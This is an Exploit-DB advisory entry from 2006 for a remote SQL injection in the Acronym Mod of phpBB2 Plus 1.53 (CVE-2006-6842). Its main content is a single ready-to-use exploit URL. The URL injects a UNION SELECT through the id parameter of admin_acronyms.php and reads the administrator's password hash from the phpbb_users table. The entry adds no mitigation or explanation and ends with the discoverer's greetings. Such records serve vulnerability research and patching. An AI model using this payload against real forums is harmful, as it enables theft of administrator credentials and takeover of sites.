phpBB2 Plus 1.53 Acronym Mod Remote SQL Injection Vulnerability

2006-12-28T00:00:00
ID EDB-ID:3033
Type exploitdb
Reporter the master
Modified 2006-12-28T00:00:00

Description

phpBB2 Plus 1.53 (Acronym Mod) Remote SQL Injection Vulnerability. CVE-2006-6842. Webapps exploit for php platform

                                        
                                            ########################################################################
#  Acronym Mod  v0.9.5  Remote SQL Injection Vulnerability
#
#  Download: http://www.codemonkeyx.net
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/admin/admin_acronyms.php?mode=edit&id=-1%20UNION%20SELECT%20null,user_password,null%20FROM%20phpbb_users%20where%20user_id=2&sid=AdminHash
#
#  Greetz: str0ke , Dr Max Virus , Kacper
########################################################################

# milw0rm.com [2006-12-28]